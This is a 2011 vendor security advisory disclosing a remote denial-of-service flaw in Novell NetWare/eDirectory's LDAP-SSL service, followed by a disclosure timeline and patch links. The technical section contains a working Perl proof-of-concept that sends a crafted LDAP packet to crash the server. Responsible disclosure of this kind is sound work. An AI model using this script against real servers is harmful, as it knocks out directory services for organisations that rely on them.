Novell Netware eDirectory - Denial of Service

      nSense Vulnerability Research Security Advisory NSENSE-2011-002
      ---------------------------------------------------------------

      Affected Vendor:    Novell
      Affected Product:   Netware, eDirectory
      Platform:           Netware / Linux
      Impact:             Remote Denial of Service
      Vendor response:    Patch
      CVE:                None
      Credit:             Knud / nSense

      Technical details
      ---------------------------------------------------------------
      It is possible to cause a Denial of Service in Novell's
      LDAP-SSL daemon due to the system blindly allocating a
      user-specified amount of memory. Exploiting the issue on a
      Netware system will cause a system-wide DoS condition. A script
      for replicating the issue is included below:

      #!/usr/bin/perl
      # usage: ./novell.pl 10.0.0.1 0x41424344
      use IO::Socket::SSL;
      $socket = new IO::Socket::SSL(Proto=>"tcp",
      PeerAddr=>$ARGV[0], PeerPort=>636);
      die "unable to connect to $host:$port ($!)\n" unless $socket;
      print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .
      "\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;
      close $socket; print "done\n";


      Timeline:
      20100819     Contacted vendor, supplied PoC
      20100825     Vendor acknowledges receipt of information
      20100826     Vendor creates ticket, SR # 10645215982
      20100922     nSense requests status update
      20100928     Vendor responds that a fix is being tested
      20101109     nSense requests status update
      20101112     nSense requests status update
      20101112     Vendor responds, fix is still being tested
      20101221     nSense requests status update
      20101227     Vendor responds, patch is being built
      20110124     nSense requests status update
      20110127     Vendor responds, patches planned for medio feb 2011
      20110320     nSense requests status update
      20110329     nSense requests status update
      20110329     Vendor responds, other issues discovered in code
      20110409     Vendor responds, patch issued for eDirectory
      20110409     nSense asks for netware patch date
      20110419     nSense asks for netware patch date
      20110427     nSense asks for netware patch date
      20110504     Vendor responds, netware patch released

      Solution
      Install the vendor supplied patch.
      Netware:    http://download.novell.com/Download?buildid=bXPFv5btgsA~
      eDirectory: http://download.novell.com/Download?buildid=-KMoN4RVaCQ~

      Links:
      http://www.nsense.fi                       http://www.nsense.dk



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